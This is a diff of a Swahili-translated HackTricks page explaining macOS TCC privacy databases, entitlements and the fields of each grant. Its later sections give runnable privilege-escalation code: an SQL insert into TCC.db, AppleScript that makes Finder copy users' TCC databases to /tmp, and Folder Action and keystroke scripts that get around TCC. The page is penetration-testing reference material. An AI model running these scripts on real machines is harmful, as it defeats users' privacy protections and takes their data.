<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Kwa mfano, ikiwa skrini inaingiza **`use File::Basename;`** ingewezekana kuunda `/Library/Perl/5.30/File/Basename.pm` ili kufanya ikimbize nambari za kiholela.
Kwa mfano, ikiwa script inaingiza **`use File::Basename;`** ingewezekana kuunda `/Library/Perl/5.30/File/Basename.pm` ili kufanya iendeshe nambari ya kupendelea.
## Marejeo
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,29 +2,29 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Taarifa Msingi**
**TCC (Transparency, Consent, and Control)** ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama **huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji wa kazi, na ufikiaji kamili wa diski**. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa programu ruhusa ya kupata vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data yao.
**TCC (Transparency, Consent, and Control)** ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama **huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, ufikivu, na ufikivu kamili wa diski**. Kwa kuhitaji ridhaa wazi ya mtumiaji kabla ya kutoa programu ruhusa ya kupata vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data yao.
Watumiaji wanakutana na TCC wakati programu zinapoomba upatikanaji wa vipengele vilivyolindwa. Hii inaonekana kupitia kisanduku cha maombi kinachowaruhusu watumiaji **kuidhinisha au kukataa upatikanaji**. Zaidi ya hayo, TCC inaruhusu hatua za moja kwa moja za mtumiaji, kama **kuvuta na kuacha faili kwenye programu**, ili kutoa upatikanaji wa faili maalum, ikihakikisha kuwa programu zinafikia tu kile kilichoruhusiwa kwa wazi.
Watumiaji wanakutana na TCC wakati programu zinapoomba ufikiaji wa vipengele vilivyolindwa. Hii inaonekana kupitia dirisha linaloruhusu watumiaji **kuidhinisha au kukataa ufikiaji**. Zaidi ya hayo, TCC inakubali hatua za moja kwa moja za mtumiaji, kama vile **kuvuta na kuacha faili kwenye programu**, kutoa ufikiaji kwa faili maalum, kuhakikisha kuwa programu zina ufikiaji tu kwa kile kilichoruhusiwa waziwazi.
![Mfano wa kisanduku cha maombi ya TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
![Mfano wa dirisha la TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** inashughulikiwa na **daemon** iliyoko katika `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` na imeboreshwa katika `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (kwa kusajili huduma ya mach `com.apple.tccd.system`).
**TCC** inashughulikiwa na **daemon** iliyoko katika `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` na imeboreshwa katika `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (kujiandikisha kwa huduma ya mach `com.apple.tccd.system`).
Kuna **tccd ya hali ya mtumiaji** inayofanya kazi kwa kila mtumiaji aliyeingia iliyoelezwa katika `/System/Library/LaunchAgents/com.apple.tccd.plist` ikisajili huduma za mach `com.apple.tccd` na `com.apple.usernotifications.delegate.com.apple.tccd`.
Kuna **tccd ya mode ya mtumiaji** inayofanya kazi kwa kila mtumiaji aliyeingia iliyoelezwa katika `/System/Library/LaunchAgents/com.apple.tccd.plist` ikijiandikisha kwa huduma za mach `com.apple.tccd` na `com.apple.usernotifications.delegate.com.apple.tccd`.
Hapa unaweza kuona tccd ikifanya kazi kama mfumo na kama mtumiaji:
```bash
@ -32,34 +32,34 @@ ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
Ruhusa zinarithiwa kutoka kwa programu mama na ruhusa zinahifadhiwa kulingana na Kitambulisho cha Pakiti na Kitambulisho cha Msanidi programu.
Mamlaka zinarithiwa kutoka kwa programu mzazi na mamlaka hizo zinahesabiwa kulingana na Kitambulisho cha Pakiti na Kitambulisho cha Msanidi programu.
### Databases za TCC
Ruhusa / kukataa kisha huhifadhiwa katika baadhi ya databases za TCC:
Ruhusa/katazo kisha hufanywa kuhifadhiwa katika baadhi ya Databases za TCC:
* Database ya mfumo mzima katika **`/Library/Application Support/com.apple.TCC/TCC.db`**.
* Database hii inalindwa na SIP, kwa hivyo ni kwa njia ya kuvuka SIP tu inaweza kuandika ndani yake.
* Database ya mtumiaji ya TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** kwa upendeleo wa mtumiaji.
* Database hii inalindwa, kwa hivyo mchakato tu wenye ruhusa za juu za TCC kama Full Disk Access wanaweza kuandika ndani yake (lakini haikulindwa na SIP).
* Database hii inalindwa na SIP, hivyo ni kwa njia ya kukiuka SIP tu inaweza kuandika humo.
* Database ya mtumiaji ya TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** kwa mapendeleo ya mtumiaji.
* Database hii inalindwa hivyo ni mchakato tu wenye mamlaka ya juu ya TCC kama Upatikanaji Kamili wa Diski wanaweza kuandika humo (lakini sio kulindwa na SIP).
{% hint style="warning" %}
Databases za awali pia zinalindwa na TCC kwa upatikanaji wa kusoma. Kwa hivyo hautaweza kusoma database yako ya kawaida ya TCC ya mtumiaji isipokuwa ni kutoka kwa mchakato wenye ruhusa za TCC.
Databases za awali pia zinalindwa na **TCC kwa upatikanaji wa kusoma**. Hivyo **hutaweza kusoma** database yako ya kawaida ya TCC isipokuwa ni kutoka kwa mchakato wenye mamlaka ya TCC.
Hata hivyo, kumbuka kuwa mchakato wenye ruhusa hizi za juu (kama FDA au `kTCCServiceEndpointSecurityClient`) utaweza kuandika database ya TCC ya watumiaji.
Hata hivyo, kumbuka kwamba mchakato wenye mamlaka ya juu kama **FDA** au **`kTCCServiceEndpointSecurityClient`**) utaweza kuandika database za watumiaji wa TCC
{% endhint %}
* Kuna database ya tatu ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja wanaoruhusiwa kupata huduma za eneo.
* Faili iliyolindwa na SIP **`/Users/carlospolop/Downloads/REG.db`** (pia iliyolindwa na TCC kutoka kwa upatikanaji wa kusoma), inaonyesha eneo la databases halali za TCC zote.
* Faili iliyolindwa na SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (pia iliyolindwa na TCC kutoka kwa upatikanaji wa kusoma), ina ruhusa zaidi zilizoidhinishwa za TCC.
* Faili iliyolindwa na SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (lakini inayoweza kusomwa na yeyote) ni orodha ya programu ambazo zinahitaji ubaguzi wa TCC.
* Kuna Database ya **tatu** ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja wanaoruhusiwa kupata huduma za **eneo**.
* Faili iliyolindwa na SIP **`/Users/carlospolop/Downloads/REG.db`** (pia iliyolindwa kutoka kwa upatikanaji wa kusoma na TCC), ina **eneo** la Databases zote halali za TCC.
* Faili iliyolindwa na SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (pia iliyolindwa kutoka kwa upatikanaji wa kusoma na TCC), ina ruhusa zaidi zilizotolewa na TCC.
* Faili iliyolindwa na SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (lakini inayoweza kusomwa na yeyote) ni orodha ya programu zinazohitaji kibali cha TCC.
{% hint style="success" %}
Database ya TCC katika **iOS** iko katika **`/private/var/mobile/Library/TCC/TCC.db`**
{% endhint %}
{% hint style="info" %}
UI ya kituo cha arifa inaweza kufanya **mabadiliko katika database ya mfumo ya TCC**:
**Kituo cha arifa cha UI** kinaweza kufanya **mabadiliko katika database ya mfumo ya TCC**:
{% code overflow="wrap" %}
```bash
@ -70,10 +70,10 @@ com.apple.rootless.storage.TCC
```
{% endcode %}
Hata hivyo, watumiaji wanaweza **kufuta au kuuliza sheria** kwa kutumia **`tccutil`** kwenye programu ya mstari wa amri.
Walakini, watumiaji wanaweza **kufuta au kuuliza sheria** kwa kutumia zana ya mstari wa amri ya **`tccutil`**.
{% endhint %}
#### Uliza kwenye maktaba za data
#### Uliza mabadiliko
{% tabs %}
{% tab title="DB ya mtumiaji" %}
@ -97,7 +97,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endcode %}
{% endtab %}
{% tab title="mf" %}
{% tab title="mfumo wa DB" %}
{% code overflow="wrap" %}
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
@ -123,12 +123,12 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtabs %}
{% hint style="success" %}
Kwa kuangalia database zote mbili unaweza kuangalia ruhusa ambazo programu imekubali, imekataza, au haina (itauliza kwa hilo).
Kwa kuchunguza mabandiko yote unaweza kuangalia ruhusa ambazo programu imeiruhusu, imezuia, au haina (itauliza kwa hilo).
{% endhint %}
* **`huduma`** ni uwakilishi wa herufi ya ruhusa ya TCC
* **`huduma`** ni mwakilishi wa herufi ya ruhusa ya TCC
* **`mteja`** ni **kitambulisho cha mfuko** au **njia ya binary** na ruhusa
* **`aina ya mteja`** inaonyesha ikiwa ni Kitambulisho cha Mfuko(0) au njia kamili(1)
* **`aina_ya_mteja`** inaonyesha ikiwa ni Kitambulisho cha Mfuko(0) au njia kamili(1)
<details>
@ -174,8 +174,8 @@ Fanya tu **`launctl load you_bin.plist`**, na plist kama hii:
</details>
* **`auth_value`** inaweza kuwa na thamani tofauti: denied(0), unknown(1), allowed(2), au limited(3).
* **`auth_reason`** inaweza kuwa na thamani zifuatazo: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* Sehemu ya **csreq** iko hapo ili kuonyesha jinsi ya kuthibitisha faili ya kutekelezwa na kutoa ruhusa za TCC:
* **`auth_reason`** inaweza kuchukua thamani zifuatazo: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* Uwanja wa **csreq** upo hapo ili kuonyesha jinsi ya kuthibitisha binary ya kutekelezwa na kutoa ruhusa za TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -191,12 +191,12 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
* Kwa habari zaidi kuhusu **sehemu nyingine** za jedwali [**angalia chapisho hili la blogu**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
* Kupata maelezo zaidi kuhusu **maeneo mengine** ya meza [**angalia chapisho hili la blogu**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Unaweza pia kuangalia **ruhusa zilizotolewa tayari** kwa programu katika `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
Unaweza pia kuangalia **ruhusa zilizotolewa tayari** kwa programu katika `Mapendeleo ya Mfumo --> Usalama & Faragha --> Faragha --> Faili na Folda`.
{% hint style="success" %}
Watumiaji **wanaweza** **kufuta au kuuliza sheria** kwa kutumia **`tccutil`**.
Watumiaji _wanaweza_ **kufuta au kuuliza sheria** kwa kutumia **`tccutil`**.
{% endhint %}
#### Rudisha ruhusa za TCC
@ -209,9 +209,7 @@ tccutil reset All
```
### Ukaguzi wa Saini ya TCC
TCC **database** inahifadhi **Bundle ID** ya programu, lakini pia **inahifadhi** **habari** kuhusu **saini** ili **kuhakikisha** kuwa programu inayoomba ruhusa ni sahihi.
{% code overflow="wrap" %}
**Database** ya TCC inahifadhi **Bundle ID** ya programu, lakini pia **inahifadhi** **taarifa** kuhusu **saini** ili **kudhibitisha** kuwa Programu inayoomba kutumia idhini ni sahihi.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -226,17 +224,16 @@ csreq -t -r /tmp/telegram_csreq.bin
{% endcode %}
{% hint style="warning" %}
Kwa hiyo, programu nyingine zinazotumia jina na kitambulisho cha pamoja haziwezi kupata ruhusa zilizotolewa kwa programu nyingine.
Kwa hivyo, programu zingine zinazotumia jina na kitambulisho cha pakiti sawa haziwezi kupata ruhusa zilizotolewa kwa programu zingine.
{% endhint %}
### Haki na Ruhusa za Entitlements & TCC
### Haki za Kibali na Ruhusa za TCC
Programu **hazihitaji tu** kuomba na kupewa **ruhusa ya kupata** rasilimali fulani, pia zinahitaji **kuwa na entitlements** husika.\
Kwa mfano, **Telegram** ina entitlement ya `com.apple.security.device.camera` kuomba **ruhusa ya kupata kamera**. Programu **isiyokuwa na entitlement hii haitaweza** kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa hizo).
Programu **si lazima tu** kuomba na kupewa **upatikanaji** wa baadhi ya rasilimali, pia zinahitaji **kuwa na haki za kibali** husika. Kwa mfano, **Telegram** ina haki ya kibali `com.apple.security.device.camera` kuomba **upatikanaji wa kamera**. Programu ambayo **haina** haki hii **haitaweza** kupata kamera (na mtumiaji hatakuulizwa ruhusa).
Hata hivyo, ili programu **ipate upatikanaji** wa **folda fulani za mtumiaji**, kama vile `~/Desktop`, `~/Downloads` na `~/Documents`, hazihitaji kuwa na **entitlements maalum.** Mfumo utashughulikia upatikanaji na **kuuliza mtumiaji** kama inahitajika.
Hata hivyo, ili programu zipate **upatikanaji** wa **folda fulani za mtumiaji**, kama vile `~/Desktop`, `~/Downloads` na `~/Documents`, hawana haja ya kuwa na haki za kibali maalum. Mfumo utashughulikia upatikanaji kwa uwazi na **kumwuliza mtumiaji** kama inavyohitajika.
Programu za Apple **hazitoi onyo**. Zina **ruhusa zilizotolewa mapema** katika orodha yao ya **entitlements**, maana yake hazitatoa onyo lolote, **wala** hazitaonekana katika **databases za TCC.** Kwa mfano:
Programu za Apple **hazitatoa maombi ya ruhusa**. Zina **haki zilizotolewa mapema** kwenye orodha yao ya **haki za kibali**, maana hawatatoa **dirisha la pop-up**, **wala** hawataonekana kwenye **databases za TCC.** Kwa mfano:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -247,15 +244,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
Hii itazuia Kalenda kuomba mtumiaji kupata vikumbusho, kalenda na anwani.
Hii itazuia Kalenda kuuliza mtumiaji kupata vikumbusho, kalenda na anwani.
{% hint style="success" %}
Mbali na baadhi ya nyaraka rasmi kuhusu ruhusu, pia ni **inawezekana kupata habari zisizo rasmi kuhusu ruhusu** katika [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
Isipokuwa nyaraka rasmi kuhusu ruhusa, pia inawezekana kupata **habari za kuvutia kuhusu ruhusa** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
{% endhint %}
Baadhi ya ruhusu za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia [**orodha ya zinazojulikana**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayoeleza zote lakini unaweza kuangalia hii [**orodha ya zinazojulikana**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
### Maeneo yasiyolindwa kwa usiri
### Maeneo yasiyolindwa kwa hisia
* $HOME (yenyewe)
* $HOME/.ssh, $HOME/.aws, nk
@ -263,7 +260,7 @@ Baadhi ya ruhusu za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCSer
### Nia ya Mtumiaji / com.apple.macl
Kama ilivyotajwa hapo awali, inawezekana **kutoa ruhusa kwa Programu kupata faili kwa kuiweka kwenye**. Ruhusa hii haitaorodheshwa katika hifadhidata yoyote ya TCC lakini kama **sifa iliyopanuliwa ya faili**. Sifa hii ita **hifadhi UUID** ya programu iliyoruhusiwa:
Kama ilivyotajwa awali, inawezekana **kutoa ruhusa kwa Programu kupata faili kwa kuidondosha**. Ruhusa hii haitaorodheshwa katika kitabu chochote cha TCC lakini kama **mali iliyozidishwa ya faili**. Mali hii ita **hifadhi UUID** ya programu iliyoruhusiwa:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -279,22 +276,22 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
Ni ya kushangaza kwamba sifa ya **`com.apple.macl`** inasimamiwa na **Sandbox**, sio tccd.
Ni kushangaza kwamba sifa ya **`com.apple.macl`** inasimamiwa na **Sandbox**, si tccd.
Pia kumbuka kwamba ikiwa unahamisha faili ambayo inaruhusu UUID ya programu kwenye kompyuta yako kwenda kompyuta tofauti, kwa sababu programu hiyo hiyo itakuwa na UIDs tofauti, haitatoa upatikanaji kwa programu hiyo.
Pia elewa kwamba ukibadilisha faili inayoruhusu UUID ya programu kwenye kompyuta yako kwenda kwenye kompyuta nyingine, kwa sababu programu hiyo itakuwa na UIDs tofauti, haitatoa ruhusa kwa programu hiyo.
{% endhint %}
Sifa iliyopanuliwa `com.apple.macl` **haiwezi kufutwa** kama sifa zingine zilizopanuliwa kwa sababu inalindwa na SIP. Walakini, kama [**inavyoelezwa katika chapisho hili**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), inawezekana kuidisable kwa **kuzip** faili, **kuzifuta** na **kuzifungua**.
Kipengele cha ziada `com.apple.macl` **hakiwezi kufutwa** kama vipengele vingine vya ziada kwa sababu **linalindwa na SIP**. Hata hivyo, kama ilivyoelezwa katika [**chapisho hili**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), inawezekana kuidisable kwa **kuzip** faili, **kuidetele** na **kuizipua**.
## TCC Privesc & Bypasses
### Ingiza kwenye TCC
Ikiwa kwa wakati fulani unafanikiwa kupata ufikiaji wa kuandika kwenye database ya TCC, unaweza kutumia kitu kama hiki kuongeza kuingia (ondoa maoni):
Ikiwa kwa wakati fulani unafanikiwa kupata ufikiaji wa kuandika kwenye database ya TCC unaweza kutumia kitu kama hiki kufanya kuingiza (ondoa maoni):
<details>
<summary>Mfano wa kuongeza kwenye TCC</summary>
<summary>Mfano wa Kuingiza kwenye TCC</summary>
```sql
INSERT INTO access (
service,
@ -336,24 +333,24 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
```
</details>
### Mipangilio ya TCC
### Malipo ya TCC
Ikiwa umefanikiwa kuingia kwenye programu na ruhusa za TCC, angalia ukurasa ufuatao na mipangilio ya TCC ili kuitumia vibaya:
Ikiwa umefanikiwa kuingia kwenye programu na baadhi ya ruhusa za TCC angalia ukurasa ufuatao na malipo ya TCC kuzitumia:
{% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md)
{% endcontent-ref %}
### Uendeshaji wa Kiotomatiki (Finder) hadi FDA\*
### Uendeshaji wa Kiotomatiki (Finder) kwa FDA\*
Jina la TCC la ruhusa ya Uendeshaji wa Kiotomatiki ni: **`kTCCServiceAppleEvents`**\
Ruhusa maalum ya TCC pia inaonyesha **programu ambayo inaweza kusimamiwa** ndani ya hifadhidata ya TCC (kwa hivyo ruhusa haziruhusu tu kusimamia kila kitu).
Ruhusa maalum ya TCC pia inaonyesha **programu inayoweza kusimamiwa** ndani ya hifadhidata ya TCC (hivyo ruhusa haziruhusu tu kusimamia kila kitu).
**Finder** ni programu ambayo **daima ina FDA** (hata kama haionekani kwenye UI), kwa hivyo ikiwa una ruhusa ya **Uendeshaji wa Kiotomatiki** juu yake, unaweza kutumia ruhusa zake kufanya **vitendo fulani**.\
Katika kesi hii, programu yako itahitaji ruhusa ya **`kTCCServiceAppleEvents`** juu ya **`com.apple.Finder`**.
**Finder** ni programu ambayo **ina FDA daima** (hata kama haionekani kwenye UI), hivyo ikiwa una ruhusa za **Uendeshaji wa Kiotomatiki** juu yake, unaweza kutumia ruhusa zake kufanya **vitendo fulani**.\
Katika kesi hii programu yako itahitaji ruhusa **`kTCCServiceAppleEvents`** juu ya **`com.apple.Finder`**.
{% tabs %}
{% tab title="Wizi wa TCC.db ya watumiaji" %}
{% tab title="Iba TCC.db za watumiaji" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
@ -365,7 +362,9 @@ duplicate file sourceFile to targetFolder with replacing
end tell
EOD
```
{% tab title="Wizi wa TCC.db ya mfumo" %}
{% endtab %}
{% tab title="Iba TCC.db ya mifumo" %}
```applescript
osascript<<EOD
tell application "Finder"
@ -378,20 +377,20 @@ EOD
{% endtab %}
{% endtabs %}
Unaweza kutumia hii kukiuka **kuandika hifadhidata yako ya mtumiaji ya TCC**.
Ungekiuka hii ili **kuandika database yako ya mtumiaji ya TCC**.
{% hint style="warning" %}
Kwa idhini hii utaweza **kuomba finder kupata ufikiaji wa folda zilizozuiwa na TCC** na kukupa faili, lakini kwa kadri ninavyojua hutaweza kufanya Finder kutekeleza nambari za kiholela kikamilifu kukiuka ufikiaji wake wa FDA.
Kwa idhini hii, utaweza **kuomba finder kupata ufikiaji wa folda zilizozuiliwa na TCC** na kukupa faili, lakini kwa kadri ninavyojua hutaweza kufanya Finder kutekeleza nambari za kupindukia kikamilifu kutumia ufikiaji wake wa FDA.
Kwa hivyo, hautaweza kukiuka uwezo kamili wa FDA.
Hivyo basi, hutaweza kutumia uwezo kamili wa FDA.
{% endhint %}
Hii ni kielelezo cha TCC kupata ruhusa za Uendeshaji juu ya Finder:
Hii ni ombi la TCC kupata ruhusa za Utoaji wa Finder:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
Tafadhali kumbuka kwamba kwa sababu programu ya **Automator** ina idhini ya TCC **`kTCCServiceAppleEvents`**, inaweza **kudhibiti programu yoyote**, kama Finder. Kwa hivyo, ukiwa na idhini ya kudhibiti Automator, unaweza pia kudhibiti **Finder** na nambari kama ifuatavyo:
Tafadhali kumbuka kwamba kwa sababu programu ya **Automator** ina idhini ya TCC **`kTCCServiceAppleEvents`**, inaweza **kudhibiti programu yoyote**, kama Finder. Kwa hivyo, ukiwa na idhini ya kudhibiti Automator unaweza pia kudhibiti **Finder** na nambari kama ile ifuatayo:
{% endhint %}
<details>
@ -418,11 +417,11 @@ EOD
```
</details>
Hii inatokea pia na **Programu ya Script Editor,** inaweza kudhibiti Finder, lakini kutumia AppleScript huwezi kulazimisha kutekeleza script.
Inatokea vivyo hivyo na **Programu ya Script Editor,** inaweza kudhibiti Finder, lakini kutumia AppleScript hauwezi kulazimisha kutekeleza script.
### Utekelezaji wa Otomatiki (SE) kwa baadhi ya TCC
### Uendeshaji wa (SE) kwa baadhi ya TCC
**System Events inaweza kuunda Hatua za Folda, na Hatua za Folda zinaweza kupata folda za TCC** (Desktop, Documents & Downloads), kwa hivyo script kama ifuatavyo inaweza kutumika kufanya matumizi mabaya ya tabia hii:
**Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na Vitendo vya Folda vinaweza kupata baadhi ya folda za TCC** (Desktop, Documents & Downloads), hivyo script kama ile ifuatayo inaweza kutumika kudhuru tabia hii:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -464,9 +463,9 @@ EOD
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
```
### Uendeshaji wa Kiotomatiki (SE) + Ufikivu (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** kwa FDA\*
### Uendeshaji wa Kiotomatiki (SE) + Upatikanaji (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** kwa FDA\*
Uendeshaji wa kiotomatiki kwenye **`System Events`** + Ufikivu (**`kTCCServicePostEvent`**) inaruhusu kutuma **vibonyezo vya kibodi kwa michakato**. Kwa njia hii, unaweza kutumia Finder kubadilisha TCC.db ya watumiaji au kutoa FDA kwa programu yoyote (ingawa nywila inaweza kuombwa kwa hili).
Uendeshaji wa Kiotomatiki kwenye **`System Events`** + Upatikanaji (**`kTCCServicePostEvent`**) inaruhusu kutuma **vibonye kwa michakato**. Kwa njia hii unaweza kutumia Finder kubadilisha TCC.db ya watumiaji au kumpa FDA programu yoyote (ingawa nywila inaweza kuombwa kwa hili).
Mfano wa Finder kubadilisha TCC.db ya watumiaji:
```applescript
@ -514,48 +513,46 @@ keystroke "v" using {command down}
end tell
EOF
```
### `kTCCServiceAccessibility` kwa FDA\*
### `kTCCServiceAccessibility` hadi FDA\*
Angalia ukurasa huu kwa baadhi ya [**payloads za kutumia ruhusa za Ufikivu**](macos-tcc-payloads.md#accessibility) ili kufanya privesc kwa FDA\* au kukimbia keylogger kwa mfano.
Angalia ukurasa huu kwa [**payloads za kutumia ruhusa za Ufikivu**](macos-tcc-payloads.md#accessibility) kwa privesc hadi FDA\* au kutekeleza keylogger kwa mfano.
### Mteja wa Usalama wa Mwisho hadi FDA
### **Mteja wa Usalama wa Endpoint hadi FDA**
Ikiwa una **`kTCCServiceEndpointSecurityClient`**, una FDA. Mwisho.
### Sera ya Mfumo ya Faili ya SysAdmin hadi FDA
**`kTCCServiceSystemPolicySysAdminFiles`** inaruhusu **kubadilisha** sifa ya **`NFSHomeDirectory`** ya mtumiaji ambaye anabadilisha folda yake ya nyumbani na hivyo kuruhusu **kupita TCC**.
**`kTCCServiceSystemPolicySysAdminFiles`** inaruhusu **kubadilisha** sifa ya **`NFSHomeDirectory`** ya mtumiaji ambayo inabadilisha folda yake ya nyumbani na hivyo kuruhusu **kupita TCC**.
